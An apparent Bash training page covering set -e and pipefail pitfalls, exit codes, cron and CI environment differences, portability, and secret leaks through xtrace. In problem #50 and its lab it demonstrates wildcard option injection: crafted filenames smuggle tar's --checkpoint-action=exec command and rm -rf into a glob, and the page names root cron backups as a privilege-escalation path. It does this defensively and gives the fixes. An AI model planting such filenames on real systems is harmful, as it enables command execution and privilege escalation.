After a command fails, will set -e make the script exit? (decision diagram based on the Bash manual's rules) Command returns non-zeroSimple command / pipeline / list In an ignored context?if/while/until conditions · && / || not at the end · ! negation does not exit #26 #22and the entire function body is unaffected by -e Yes Is it a non-final segment of a pipeline?depends on pipefail (#28 #29) No Without pipefail: ignoredWith pipefail: the pipeline fails → continue the evaluation Is the exit code "swallowed" by another command?local/export x=$(…) · echo "$(…)" · background & does not exit #27 #36You see the outer command's 0 exits (run the ERR trap first)#22 #30 #31 · functions need -E to enter ERR #32 No Subshells ( ), $( ), and pipeline segments each apply -e: $( ) does not inherit -e by default; inherit_errexit makes it inherit (Bash 4.4+)
Figure 3-1 Order of set -e decisions (checked against the GNU Bash manual, The Set Builtin, 2026-11-17)
Exit code cheat sheet: see the number and know what happened 0Success 1 / 2General error / usage 124timeout #38 126not executable #45 127command not found #39 #42 130SIGINT 137 / 143KILL / TERM #33 141SIGPIPE #29 128+N = killed by signal N (convert with kill -l $((rc-128))); exit 256 → 0, exit 300 → 44 (low 8 bits only, #47) In bash -c, a failing set -u / ${x:?} measured exit code 127; in a script file, 1 (Bash 5.2.21 / 5.3.20)
Figure 3-2 Read the exit code first, then the log

set -e / pipefail decision exercise (based on actual run results)

Choose a snippet, first decide whether the script will exit at the failure and what it will print last, then click “Run” to compare with the real output and explanation from Bash 5.3.20 / 5.2.21.


$ Waiting to run…
Environment Bash 5.x, util-linux flock, coreutils timeout; source ~/bashlab/lab8/lab8.sh && l8_sandbox.

Lab 3-A: three blind spots of set -e (#26, #27, #30)

cat > e.sh <<'EOF'
set -e
deploy(){ cp /nonexist /tmp/x; echo "deploy continued"; }
if deploy; then echo "deploy reported success"; fi
f(){ local v=$(false); echo "local masked failure"; }; f
i=0; ((i++)); echo "not reached"
EOF
bash e.sh; echo "rc=$?"
cp: cannot stat '/nonexist': No such file or directory
deploy continued
deploy reported success
local masked failure
rc=1
Rewrite using the fixes, and compare with ShellCheck:
shellcheck e.sh | grep -oE 'SC[0-9]+' | sort -u
SC2155

ShellCheck can only detect local masking; the other two are semantic issues that need review and tests (Lesson 7 bats).

Lab 3-B: pipefail and SIGPIPE (#28, #29)

bash -c 'set -e; (echo "dump failed" >&2; exit 2) | gzip > db.gz; echo "ok size=$(wc -c < db.gz)"'
bash -c 'set -eo pipefail; (echo "dump failed" >&2; exit 2) | gzip > db.gz; echo ok'; echo "rc=$?"
bash -c 'set -o pipefail; seq 1 100000 | head -1 >/dev/null; echo "rc=$? ps=${PIPESTATUS[*]}"'
dump failed
ok size=20
dump failed
rc=2
rc=141 ps=141 0

Lab 3-C: trap cleanup, locks and wait (#33, #35, #36)

cat > job.sh <<'EOF'
#!/usr/bin/env bash
set -Eeuo pipefail
exec 9>/tmp/lab8-job.lock
flock -n 9 || { echo "$$ skip: another run active"; exit 0; }
tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"; echo "$$ cleaned $tmp"' EXIT
echo "$$ working in $tmp"; sleep 3
EOF
chmod +x job.sh; ./job.sh & sleep 0.5; ./job.sh; wait
4101 working in /tmp/tmp.Xa81kQ
4108 skip: another run active
4101 cleaned /tmp/tmp.Xa81kQ
pids=(); for rc in 0 3 0 5; do (sleep 0.1; exit $rc) & pids+=($!); done
f=0; for p in "${pids[@]}"; do wait "$p" || f=$((f+1)); done; echo "failed=$f"
failed=2
Cleanup:
rm -f /tmp/lab8-job.lock; l8_clean

Instructional video (title and channel verified via YouTube oEmbed)

bash "strict mode": -euo pipefail (beginner - intermediate) anthony explains #201 — anthonywritescode
English · strict mode (#26–#30)
bash strict mode gotcha (intermediate) anthony explains #453 — anthonywritescode
English · pitfalls of strict mode
The Problem with Bash 'Strict Mode' - Why I Don’t Use `set -euo pipefail` — You Suck at Programming
English · counterpoint: set -e cannot replace error handling (#26)
Trapping signals with `trap` in Bash! Responding to Unix signals. You Suck at Programming #064 — You Suck at Programming
English · trap and signals (#32, #33)
Linux Command - flock — Low Orbit Flux
English · flock (#35, #37)

No verified video was found that specifically covers SIGPIPE 141,wait return values and container PID 1 signals. Storyboard:

Shot 1 (0:00) Backup script dump | gzip outputs a 20-byte file and exits with 0; echo ${PIPESTATUS[@]} shows 2 0; add pipefail.
Shot 2 (0:50) After adding pipefail, seq | head -1 returns 141; kill -l 13 → PIPE; demonstrate the pattern that tolerates only 141.
Shot 3 (1:40) docker stop A bash-entry container exits with 137; adding trap … TERM and wait $! gives 143 and prints the cleanup log.

Official docs

or score ≥ 70% on the quiz

Module 4 · Part A: Environment, portability, CI and security (problems 39–50)

24:00 – 30:00 · the minimal environment of cron and CI,sh and dash, macOS Bash 3.2, non-interactive shells,sudo and redirection, script paths, execute bits, xtrace leaking secrets, exit code range, GNU / BSD / BusyBox, export, option injection
6 minutes“It works on my machine”12 problems
Learning goals
  • List the differences between an interactive terminal and cron / systemd / CI runners / containers: PATH, HOME, locale, whether it reads ~/.bashrc, whether there is a TTY, what stdin is,/bin/sh who runs it, and whether the tools are GNU or BusyBox.
  • Within 30 seconds, judge whether a script can run with sh (arrays,[[ ]],source,function,echo -e,$'…',local), and verify with dash / checkbashisms / ShellCheck's SC3xxx rules.
  • Hard rules for CI and security: explicit shebang and execute bit,set -x turn off sensitive-variable tracing beforehand, prefix glob arguments with ./ or --.

Enter keywords (e.g. cron,not found,Syntax error,3.2,alias,sudo,source,126,secret,BusyBox,export,tar) to filter; click a row to jump to the details.

#39 /bin/sh: 1: jq: not found — works when run manually, fails when placed in crontab (cron's minimal environment)
$ env -i HOME=/root LOGNAME=root SHELL=/bin/sh PATH=/usr/bin:/bin /bin/sh -c 'mytool --version'
/bin/sh: 1: mytool: not found
$ env -i /bin/sh -c 'jq . </dev/null'
/bin/sh: jq: not found

Symptom: The terminal works; after entering crontab, these cannot be found: /usr/local/bin,~/.local/bin,/snap/bin, nvm/pyenv/conda commands; aws/az the config cannot be read (HOME / profile differs); sorting and formatting change (locale is C, #20); a line in date +%Y%m%d is truncated (the % means newline); output is mailed locally, and without an MTA you cannot see it.

Root cause: cron starts with a minimal environment: SHELL=/bin/sh, a short PATH (on Debian/Ubuntu the default /usr/bin:/bin, follow the actual output), and it does not read profile / bashrc; crontab lines are interpreted by /bin/sh (dash on Ubuntu). systemd and CI runners work the same way: the environment is defined by the unit file or runner.

Diagnostic command
* * * * * env > /tmp/cron-env.txt 2>&1  # temporarily add a line to see the real cron environment; delete it afterwards
diff <(env | sort) <(sort /tmp/cron-env.txt)
source ~/bashlab/lab8/lab8.sh; l8_cronlike ./myjob.sh  # reproduce with a minimal environment
Fix
# crontab: set variables explicitly, use absolute paths, log output, escape %
SHELL=/bin/bash
PATH=/usr/local/bin:/usr/bin:/bin
CRON_TZ=UTC
*/5 * * * * /opt/opsctl/bin/opsctl health https://app.example.com/healthz >>/var/log/opsctl/health.log 2>&1
0 2 * * * /opt/opsctl/bin/backup.sh "$(date +\%F)" >>/var/log/opsctl/backup.log 2>&1
# set the required environment inside the script; do not depend on the caller
export PATH=/usr/local/bin:/usr/bin:/bin LC_ALL=C.UTF-8
command -v jq >/dev/null || { echo "jq not installed" >&2; exit 3; }  # opsctl convention: 3 = missing dependency
Prevention
  • Make the script self-sufficient: set PATH and locale at the top,util::require_cmd check dependencies (Lesson 3 opsctl).
  • Prefer a systemd timer: logs go to journald, failure alerts (OnFailure=), environment declared in the unit file,systemd-run can be reproduced manually (Lesson 6 Module 6).
Minimal reproduction ~/bashlab/lab8/pb39-cronenv.sh
#!/usr/bin/env bash
echo "PATH=$PATH"; command -v jq || echo "jq not in PATH"
# run: source ~/bashlab/lab8/lab8.sh; l8_cronlike ~/bashlab/lab8/pb39-cronenv.sh

See Lesson 6 Module 6: Scheduled execution: cron and systemd timers,Lesson 1 Module 7: Environment.

#40 Syntax error: "(" unexpected / [[: not found / source: not found (a Bash script run with sh)
$ sh b.sh  # arr=(a b)
b.sh: 1: Syntax error: "(" unexpected
$ sh c.sh  # [[ 1 == 1 ]] && echo ok
c.sh: 1: [[: not found
$ sh d.sh  # echo -e "a\tb"; source ./x.sh
-e a	b
d.sh: 2: source: not found
$ sh e.sh  # function f { echo hi; }
e.sh: 1: Syntax error: "}" unexpected

Symptom:sh deploy.sh Works on macOS (/bin/sh is POSIX-mode Bash), on CentOS/RHEL (/bin/sh is Bash) works; Ubuntu/Debian (dash) and Alpine (BusyBox ash) give syntax errors; Dockerfile RUN, Makefile recipes, crontab,system() also use /bin/sh. The most insidious case is echo -e: no error, while -e are printed together.

Root cause:sh script.sh ignores the shebang and is run with sh ; dash is strictly POSIX, with no arrays,[[ ]],source,function keywords,[ in ==,$'…' (newer dash supports it, follow the actual output),{a..z},<<<,<( ),pipefail (dash 0.5.13+ supports it, follow the actual output).

Diagnostic command
head -1 deploy.sh; readlink -f /bin/sh
shellcheck -s sh deploy.sh | grep -oE 'SC3[0-9]+' | sort | uniq -c  # SC3010 [[ ]], SC3030 arrays, SC3046 source, SC3037 echo options…
checkbashisms deploy.sh  # provided by Debian devscripts
Fix
./deploy.sh  # makes the shebang take effect (requires the execute bit, #45)
bash deploy.sh  # or invoke bash explicitly
SHELL ["/bin/bash", "-o", "pipefail", "-c"]  # Dockerfile: changes the shell used by subsequent RUN steps
# when POSIX sh is really required: [ "$a" = "$b" ], . ./x.sh, printf '%s\t%s\n' a b, f() { …; }
Prevention
  • Choose one of the shebangs: #!/usr/bin/env bash (recommended), or #!/bin/sh and test with dash,shellcheck -s sh in CI. Do not write “Bash that behaves like sh”.
  • In docs and the README, write ./deploy.sh or bash deploy.sh, do not write sh deploy.sh.
Minimal reproduction ~/bashlab/lab8/pb40-bashisms.sh
#!/usr/bin/env bash
arr=(a b); [[ ${arr[1]} == b ]] && echo "bash ok"
# bash pb40-bashisms.sh works; sh pb40-bashisms.sh gives a Syntax error on Ubuntu
# or: source ~/bashlab/lab8/lab8.sh; l8_shells pb40-bashisms.sh

See Lesson 7 Module 6 Portability: POSIX sh, dash, macOS Bash 3.2 and BusyBox.

#41 declare: -A: invalid option / mapfile: command not found / ${x,,}: bad substitution (Bash 3.2 on macOS)
t9.sh: line 2: declare: -A: invalid option
declare: usage: declare [-afFirtx] [-p] [name[=value] ...]
t9.sh: line 3: mapfile: command not found
t9.sh: line 4: ${x,,}: bad substitution
t9.sh: line 5: arr[@]: unbound variable  # iterating over an empty array under set -u

Symptom: A deployment/bootstrap script fails on a Mac while it works on Linux and CI; or #!/bin/bash the script fails,bash script.sh (with a newer Homebrew Bash ahead in PATH) it works.

Root cause: macOS's /bin/bash is stuck at 3.2 (GPLv3, so it is no longer updated; the default interactive shell is already zsh). Bash 3.2 lacks: associative arrays declare -A,mapfile/readarray,${x,,} ${x^^},;& / ;;&,|&,coproc,{fd}> automatic allocation, negative subscripts,wait -n, nameref (declare -n, 4.3),${var@Q} (4.4); set -u an empty array under set -u errors (fixed in 4.4).

Diagnostic command
head -1 script.sh; which -a bash; /bin/bash --version | head -1; bash --version | head -1
echo "$BASH_VERSION"; echo "${BASH_VERSINFO[0]}"
Fix
#!/usr/bin/env bash  # use the bash on PATH (Homebrew: /opt/homebrew/bin/bash)
if (( BASH_VERSINFO[0] < 4 )); then
  echo "Requires Bash ≥ 4 (current $BASH_VERSION). macOS: brew install bash" >&2; exit 3
fi
for x in ${arr[@]+"${arr[@]}"}; do :; done  # iterate over a possibly empty array when 3.2 compatibility is required
Prevention
  • Declare the minimum Bash version in the README and script header, and check at runtime with BASH_VERSINFO .
  • If support is promised, add bash:3.2 containers or a macOS runner to the CI matrix (Lesson 7 Module 6).
Minimal reproduction ~/bashlab/lab8/pb41-bash32.sh
echo "$BASH_VERSION"
declare -A m=([k]=v) && echo "assoc ok"
x=ABC; echo "${x,,}"
# run: docker run --rm -v "$PWD":/w -w /w bash:3.2 bash pb41-bash32.sh

See Lesson 7 Module 6 Portability,Lesson 2 Module 3: Associative arrays.

#42 ll: command not found / kubectl aliases and nvm's node are unavailable in scripts (scripts do not read .bashrc and do not expand aliases)
$ cat al.sh
alias ll="ls -l"
ll /tmp >/dev/null
$ bash al.sh; echo "rc=$?"
al.sh: line 2: ll: command not found
rc=127

Symptom: Aliases in the terminal such as k get pods (alias k=kubectl),node (nvm),python (pyenv shim), and custom functions are "not found" in scripts, cron, CI,ssh host 'cmd' and source ~/.bashrc the workaround starts with [ -z "$PS1" ] && return , which loads nothing.

Root cause:① a non-interactive shell turns off expand_aliases by default, and aliases are expanded when a line is read, so an alias defined on the same line or in a compound command has no effect; ② non-interactive Bash does not read ~/.bashrc or profile; it only reads BASH_ENV the file pointed to by (ssh host cmd exception, which may read .bashrc, follow the actual output).

Diagnostic command
bash -c 'shopt expand_aliases; echo "$-"'  # expand_aliases is off; no i in $-
type k node python
Fix
kubectl get pods  # write the full command in the script
k() { kubectl "$@"; }  # use a function when a shorthand is needed
export PATH="$HOME/.nvm/versions/node/v24/bin:$PATH"  # set the tool path explicitly (the version number is an example) or use an absolute path
Prevention
  • Scripts do not depend on personal shell configuration; tool versions are pinned by the CI image / devcontainer / mise,asdf declaration (follow the team's choice).
  • Aliases are for interactive use only; use functions in scripts and libraries.
Minimal reproduction ~/bashlab/lab8/pb42-alias.sh
alias ll="ls -l"
ll /tmp >/dev/null; echo "alias rc=$?"  # 127
ll() { ls -l "$@"; }; ll /tmp >/dev/null; echo "function rc=$?"

See Lesson 1 Module 1: Startup files,Lesson 1 Module 2: Aliases and functions.

#43 bash: /etc/motd: Permission denied — even though sudo was used (sudo does not apply to redirection)
$ echo hi > /etc/motd
bash: line 1: /etc/motd: Permission denied
$ sudo echo "vm.swappiness=10" > /etc/sysctl.d/99-app.conf  # same error (illustrative)
bash: /etc/sysctl.d/99-app.conf: Permission denied

Symptom:sudo echo … > /etc/…,sudo cat a >> /etc/hosts reports Permission denied; sudo cd /root reports sudo: cd: command not found (follow the actual output).

Root cause: The redirection is opened by the current shell (a normal user) before sudo starts; sudo sudo only elevates the command that follows it. cd is a builtin, so sudo cannot run it.

Diagnostic command
shellcheck setup.sh  # SC2024: sudo doesn't affect redirects. Use ..| sudo tee file
Fix
echo "vm.swappiness=10" | sudo tee /etc/sysctl.d/99-app.conf >/dev/null
printf '%s\n' "10.0.0.5 db.internal" | sudo tee -a /etc/hosts >/dev/null
sudo install -m 0644 -o root -g root ./app.conf /etc/app/app.conf  # install the whole file: set permissions in one step
sudo sh -c 'cd /root && ls'  # when multiple commands are needed (watch for #11 injection)
Prevention
  • For config files, use install or a template + atomic mv, not echo >> (repeated runs append repeatedly and are not idempotent).
  • Hand large amounts of root configuration to configuration management (Ansible 's lineinfile/template).
  • Ubuntu 26.04 defaults to sudo-rs, whose prompt wording differs; follow the actual output.
Minimal reproduction ~/bashlab/lab8/pb43-sudo-redirect.sh
sudo echo test > /etc/lab8-test.conf || echo "redirect failed as expected"
echo test | sudo tee /etc/lab8-test.conf >/dev/null && cat /etc/lab8-test.conf
sudo rm -f /etc/lab8-test.conf

See Lesson 1 Module 5: Redirection,Linux Lesson 1 (sudo).

#44 proj/run.sh: line 1: lib/log.sh: No such file or directory (relative-path source; fails when run from another directory)
$ cd proj && bash run.sh  # run from the script's directory: works
lib loaded
$ cd .. && bash proj/run.sh  # run from elsewhere
proj/run.sh: line 1: lib/log.sh: No such file or directory

Symptom: It works in the project directory; when cron, systemd, CI or another script calls it from elsewhere,source lib/…, read ./config.yaml, write ./out/ all point to the wrong place. When source is used, $0 the directory it computes is also wrong ($0 is the caller).

Root cause: A relative path is resolved against the current working directory, not the script's directory. $0 is the name of the program being executed; when sourced, it is the name of the parent shell; ${BASH_SOURCE[0]} is the current file.

Diagnostic command
printf 'PWD=%s\n$0=%s\nBASH_SOURCE=%s\n' "$PWD" "$0" "${BASH_SOURCE[0]}"
Fix
#!/usr/bin/env bash
set -Eeuo pipefail
SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
source "$SCRIPT_DIR/../lib/log.sh"
config=${OPSCTL_CONFIG:-$SCRIPT_DIR/../etc/opsctl.conf}
Prevention
  • opsctl's bin/opsctl does exactly this positioning lib/,etc/ (Lesson 3 Module 4); when a symlink is installed into /usr/local/bin you need readlink -f (GNU) to resolve the real path; older BSD/macOS does not support it -f (#48).
  • Bash 5.3 adds source -p PATH and bash_source_fullpath options that save boilerplate; for older versions, keep the approach above.
Minimal reproduction ~/bashlab/lab8/pb44-source-path.sh
cd ~/bashlab/lab8/sandbox || exit 1
mkdir -p proj/lib && echo 'echo lib loaded' > proj/lib/log.sh
printf 'source lib/log.sh\n' > proj/run.sh
bash proj/run.sh  # fails; change to source "$(dirname "${BASH_SOURCE[0]}")/lib/log.sh"

See Lesson 3 Module 4 Modularity: source, library files and naming conventions.

#45 ./deploy.sh: Permission denied (exit code 126) — only in CI; or in CI a failed pipeline did not fail the job
$ bash -c './noexec.sh'; echo "rc=$?"
bash: line 1: ./noexec.sh: Permission denied
rc=126
Linux / macOS   unspecified   bash -e {0}
All             bash          bash --noprofile --norc -eo pipefail {0}

Symptom:① Windows commits, or packaging tools (zip, some artifact repositories), drop the execute bit, so in CI ./deploy.sh exits with 126; ② in GitHub Actions run: curl … | tar xz a failed download still shows green, because shell: bash was not set; by default bash -e {0} has no pipefail; ③ GitLab CI and similar run sh or the image's default shell runs script:, and Bash syntax errors appear (#40).

Root cause: Git records only 100755/100644, the Windows file system has no execute bit, so it must be set explicitly; each CI platform defines its own shell and options.

Diagnostic command
git ls-files -s deploy.sh  # 100644 = no execute bit
ls -l deploy.sh; head -1 deploy.sh
echo "$0 $-; BASH_VERSION=${BASH_VERSION:-none}; pipefail=$(set -o | awk '/pipefail/{print $2}')"  # print the actual shell in a CI step
Fix
git update-index --chmod=+x deploy.sh && git commit -m "make deploy.sh executable"
# GitHub Actions: unify the shell at workflow level
defaults:
  run:
    shell: bash  # internal command is bash --noprofile --norc -eo pipefail {0}
# or only call the script file, so its own set -Eeuo pipefail takes effect
- run: ./scripts/deploy.sh
Prevention
  • Put CI logic in repository scripts (runnable locally, testable with bats); keep only one call line in YAML.
  • CI check: git ls-files -s '*.sh' | awk '$1 != "100755"' any output means failure.
Minimal reproduction ~/bashlab/lab8/pb45-ci-exec.sh
cd ~/bashlab/lab8/sandbox || exit 1
printf '#!/usr/bin/env bash\necho deployed\n' > deploy.sh
./deploy.sh; echo "rc=$?"  # 126
bash -e -c 'false | true; echo "bash -e: pipeline failure ignored"'

See Lesson 6 Module 7: Running scripts in CI,GitHub 8 hours,GitLab 8 hours.

#46 CI log shows + curl_args='-H Authorization:s3cr3t' (set -x leaked a secret)
$ bash -xc 'TOKEN=s3cr3t; curl_args="-H Authorization:$TOKEN"; : $curl_args'
+ TOKEN=s3cr3t
+ curl_args='-H Authorization:s3cr3t'
+ : -H Authorization:s3cr3t

Symptom: When investigating a CI job with set -x on (or DEBUG=1), secrets, tokens and database passwords go into the build log in plain text; the platform masks only known literal values, so concatenation, base64 or URL-encoding defeats the masking. Similar: curl -v,env/printenv, the full command line echoed on error,ps and visible arguments.

Root cause: xtrace prints the expanded command, including the real values of variables; command-line arguments can be seen by other users on the same host via /proc/PID/cmdline a process listing.

Diagnostic command
grep -nE 'set -x|bash -x|curl -v|printenv|env$' .github/workflows/*.yml scripts/*.sh
gitleaks detect --source . 2>/dev/null || trufflehog filesystem . 2>/dev/null  # scan the repository and logs (choice of tools is up to the team)
Fix
{ set +x; } 2>/dev/null  # silently turn off xtrace before handling secrets
token=$(cat "$TOKEN_FILE")
curl -fsS -H @- "$url" <<<"Authorization: Bearer $token"  # curl 7.55+: read the request header from stdin, so it does not appear on the command line
[[ ${DEBUG:-} ]] && set -x  # restore later as needed
export BASH_XTRACEFD=9; exec 9>>"$tmpdir/trace.log"  # or write xtrace to a controlled file (Bash 4.1+)
Prevention
  • Pass secrets via a file or stdin, not via arguments or URLs; after use, unset.
  • Use the platform's secret mechanism and OIDC federated identity in CI (no long-lived keys stored on disk); mask derived values with the platform's masking command (for example GitHub Actions ::add-mask::).
  • After a leak, revoke and rotate first, then clean the logs: deleting logs cannot recall secrets that have already been seen.
Minimal reproduction ~/bashlab/lab8/pb46-xtrace-leak.sh
#!/usr/bin/env bash
set -x
TOKEN=s3cr3t-demo; echo "calling API"  # the plaintext appears in the log
{ set +x; } 2>/dev/null; TOKEN2=s3cr3t-demo2; echo "calling API quietly"

See Lesson 7 Module 1 Debugging: set -x, PS4, BASH_XTRACEFD,Lesson 4 Module 7 Security.

#47 exit 256 treated as success / a function returning an error count returns 0 at 256 errors (exit codes have only 8 bits)
$ bash -c 'exit 256'; echo "rc=$?"
rc=0
$ bash -c 'exit 300'; echo "rc=$?"
rc=44
$ bash -c 'f(){ return 256; }; f; echo "rc=$?"; (exit -1); echo "rc=$?"'
rc=0
rc=255

Symptom: Returning the failure count via the exit code: at 256 failures it is 0, and CI passes; return $count anything above 255 wraps around; exit -1 gives 255, which is mistaken for a specific error.

Root cause: Only the low 8 bits (0–255) of the exit status are passed to the parent process,exit N i.e. N & 255,return the same applies. An exit code only conveys success or failure categories, not data.

Diagnostic command
grep -nE 'exit \$|return \$' *.sh  # places where a variable is used as an exit code
Fix
count_errors() { grep -c ERROR "$1" || true; }  # data goes to stdout
n=$(count_errors app.log)
(( n == 0 )) || { echo "found $n errors" >&2; exit 1; }  # the exit code only conveys the category
Prevention
  • Unify exit codes (opsctl: 0 success, 1 general error, 2 usage error, 3 missing dependency; 124–128+N are reserved for timeouts and signals).
  • Return strings or numbers via stdout or nameref (declare -n, Lesson 3 Module 3).
Minimal reproduction ~/bashlab/lab8/pb47-exitcode.sh
for n in 1 255 256 300; do bash -c "exit $n"; echo "exit $n -> $?"; done

See Lesson 3 Module 6 Exit code conventions,Lesson 3 Module 3 Output and return values.

#48 date: invalid option -- 'v' / date: invalid date '1 day ago' / grep: unrecognized option: P (differences between GNU, BSD and BusyBox)
$ date -v-1d  # macOS syntax on GNU
date: invalid option -- 'v'
$ date -d '1 day ago'  # GNU syntax on BusyBox
date: invalid date '1 day ago'
$ grep -P "a+" /dev/null  # BusyBox grep has no PCRE
grep: unrecognized option: P
$ readlink -f /usr/bin/env; sed --version | head -1
/bin/busybox
This is not GNU sed version 4.0

Symptom: Scripts written on Ubuntu fail on macOS, on Alpine (BusyBox) or on older distributions: date arithmetic,grep -P,sed -i (#24),stat -c (BSD uses stat -f),readlink -f,find -printf,xargs -r,sort -V,base64 -w0,mktemp template rules differ. Ubuntu 26.04's rust-coreutils edge-case options and error wording may also differ.

Root cause: POSIX only defines a common subset; GNU, BSD, BusyBox and uutils each extend it. Bash is consistent; the inconsistency is in external commands.

Diagnostic command
for c in date sed grep stat readlink find xargs sort; do printf '%-9s ' "$c"; ( $c --version 2>&1 || true ) | head -1; done
ls -l /bin/date  # is it a symlink to busybox?
Fix
if date -d @0 >/dev/null 2>&1; then  # capability detection, not detection of the OS name
  yesterday=$(date -u -d '1 day ago' +%F)  # GNU
else
  yesterday=$(date -u -v-1d +%F)  # BSD / macOS
fi
grep -E 'a+' file  # prefer POSIX ERE over -P
apk add --no-cache coreutils grep sed findutils  # Alpine container: install the GNU versions
Prevention
  • Declare supported platforms; CI tests at least the main platform and the container base image; for complex date/text processing use Python or jq (Lesson 7 Module 7).
  • Use UTC and ISO 8601 for dates (date -u +%FT%TZ), avoiding time zones and daylight saving time.
Minimal reproduction ~/bashlab/lab8/pb48-gnu-bsd.sh
date -d '1 day ago' +%F 2>&1 || true
date -v-1d +%F 2>&1 || true
# compare by running locally and with docker run --rm -v "$PWD":/w -w /w bash:5.3 bash pb48-gnu-bsd.sh

See Lesson 7 Module 6 Portability.

#49 child process cannot read the variable: child X=[] / variable not set after running ./env.sh (differences between no export, executing, and sourcing)
$ X=1; bash -c 'echo "child X=[$X]"'; export X; bash -c 'echo "child X=[$X]"'
child X=[]
child X=[1]

Symptom:① a variable set in the script AWS_PROFILE=prod / KUBECONFIG=… / http_proxy=…,aws,kubectl,curl still uses the default; ② after running ./set-env.sh the terminal variable does not change; ③ in a function or pipeline / subshell, export is not visible to the caller (#15). Consequence: you think you are on staging but are actually on prod.

Root cause: A variable that is not exported is a shell variable that exists only in the current shell; only environment variables are copied to a child process when it execve starts. Running a script starts a new process, so the changes vanish; source (.) runs in the current shell. The environment only flows from parent to child.

Diagnostic command
declare -p AWS_PROFILE  # declare -- (shell variable) vs declare -x (exported)
env | grep -E '^(AWS_|KUBECONFIG|http_proxy)'
tr '\0' '\n' < /proc/PID/environ | grep AWS_  # the environment the child process actually receives
Fix
export AWS_PROFILE=staging  # variables that must be passed to child processes
AWS_PROFILE=staging aws sts get-caller-identity  # applies to one command only (safer)
source ./set-env.sh  # modifies the current shell's environment
aws sts get-caller-identity --query Account --output text  # print the identity, account / subscription / context before operating
Prevention
  • Confirm the context before dangerous operations (account, subscription,kubectl config current-context), and pass parameters explicitly (--profile,--subscription,--context), rather than relying on environment variables.
  • Use env -i or l8_cronlike to test environment dependencies.
Minimal reproduction ~/bashlab/lab8/pb49-export.sh
X=1; bash -c 'echo "child X=[$X]"'
export X; bash -c 'echo "child X=[$X]"'
printf 'export Y=42\n' > /tmp/env.$$; bash /tmp/env.$$; echo "after exec Y=[${Y:-}]"; source /tmp/env.$$; echo "after source Y=[$Y]"; rm -f /tmp/env.$$

See Lesson 1 Module 7: Variables, environment and subshells.

#50 tar cf backup.tar * ran a command injected via --checkpoint-action / rm * treats a file named -rf as an option (option injection)
$ touch a.txt -- '--checkpoint=1' '--checkpoint-action=exec=echo PWNED'
$ tar cf ../x.tar *
PWNED
$ touch -- -rf important.txt; echo rm *
rm -rf important.txt

Symptom: Running tar cf … *,chown -R user *,rsync … *,rm * in a user-writable directory (uploads, shares, build artifacts, Git repositories): an attacker creates a file whose name begins with - to inject options: rm (recursion),tar arbitrary command execution,chown following symlinks (--reference / -h). A cron backup script running as root is a classic privilege-escalation path.

Root cause: Globs expand before the command sees its arguments, so names in the result such as -rf,--checkpoint-action=… cannot be distinguished from real options. This is not a Bash bug; it is a design problem of putting untrusted filenames straight into the argument list.

Diagnostic command
find /srv/uploads -maxdepth 1 -name '-*'  # any filenames starting with -?
shellcheck backup.sh  # SC2035: Use ./*glob* or -- *glob* so names with dashes won't become options.
Fix
tar cf backup.tar -- *  # -- ends option parsing
tar cf backup.tar ./*  # or use the ./ prefix: ./-rf cannot be taken as an option
tar -C /srv/uploads -cf backup.tar .  # better: no glob; let tar walk the directory itself
rm -- "$f"; rm ./*.tmp
Prevention
  • Rule: glob arguments start with ./ and variable arguments are prefixed with -- (#1); make ShellCheck SC2035 a must-pass.
  • Root cron jobs must not touch directories writable by ordinary users; when necessary, run with the directory owner's identity (runuser -u,setpriv) with least privilege.
Minimal reproduction ~/bashlab/lab8/pb50-option-injection.sh
cd ~/bashlab/lab8/sandbox || exit 1
touch a.txt -- '--checkpoint=1' '--checkpoint-action=exec=echo PWNED'
tar cf ../pb50.tar *  # prints PWNED
tar cf ../pb50.tar ./*  # fix: no longer executes; finally rm -f ../pb50.tar

See Lesson 4 Module 7 Security: injection, eval, globbing and untrusted input,Lesson 5 Module 4: Safe filename handling.

The same script in five runtime environments: what changes (#39–#45, #48, #49) Interactive terminalfull PATHreads .bashrc · has aliasesLANG=en_US.UTF-8has a TTY · stdin = keyboardGNU tools cronPATH=/usr/bin:/binSHELL=/bin/sh (dash)locale is usually Cno TTY · % is a newline#39 #20 #35 systemd serviceEnvironment= declarationUser= · WorkingDirectory=stdin=/dev/nulllogs go to journald#44 #49 CI runnerbash -e {0} orbash -eo pipefail {0}execute bit · logs are publicsecret masking is limited#45 #46 Alpine containersh = BusyBox ashBusyBox toolsthe script may be PID 1often runs as root#33 #40 #48 Countermeasures: make the script self-sufficient (shebang + PATH + LC_ALL + dependency checks + SCRIPT_DIR), and reproduce in CI with env -i / the target container / dash
Figure 4-1 The five variables behind “it works on my machine”
Four paths by which untrusted data enters commands, and their guards (#11, #46, #50) filename → option./* · -- · -C dir . string → codebash -c '…"$1"' _ "$x" value → arithmetic / subscriptfirst [[ =~ ^[0-9]+$ ]] secret → log / argvset +x · stdin · file Common principle: data never goes through a channel that gets parsed a second time; when passing it, use separate arguments, stdin or a file
Figure 4-2 The common pattern behind security problems

Troubleshooting decision tree for “works locally, fails in cron / CI / containers”

Start from the first symptom you see; every conclusion links to the matching problem details.

Environment Bash 5.x + dash (bundled with Ubuntu); optionally Docker (bash:3.2,bash:5.3). source ~/bashlab/lab8/lab8.sh && l8_sandbox.

Lab 4-A: minimal environment and sh (#39, #40)

printf '#!/usr/bin/env bash\necho "PATH=$PATH"\ncommand -v jq || echo "jq not in PATH"\narr=(a b); echo "${arr[1]}"\n' > job.sh && chmod +x job.sh
l8_cronlike ./job.sh
sh job.sh
PATH=/usr/bin:/bin
jq not in PATH
b
job.sh: 4: Syntax error: "(" unexpected

l8_cronlike runs via /bin/sh -c "./job.sh" executes, the shebang takes effect, so Bash is used; sh job.sh bypasses the shebang and runs under dash. dash hits a syntax error after already running the first 3 lines; their output is omitted here.

Lab 4-B: Bash 3.2 and BusyBox (#41, #48, requires Docker)

printf 'echo "$BASH_VERSION"\ndeclare -A m 2>&1 | head -1\nx=ABC; echo "${x,,}"\n' > v.sh
docker run --rm -v "$PWD":/w -w /w bash:3.2 bash v.sh
docker run --rm -v "$PWD":/w -w /w bash:5.3 bash v.sh
docker run --rm bash:5.3 date -d '1 day ago'
3.2.57(1)-release
v.sh: line 2: declare: -A: invalid option
v.sh: line 3: ${x,,}: bad substitution
5.3.20(1)-release
abc
date: invalid date '1 day ago'

Lab 4-C: secret leaks and option injection (#46, #50)

bash -xc 'TOKEN=s3cr3t; curl_args="-H Authorization:$TOKEN"; : $curl_args' 2>&1 | grep -c s3cr3t
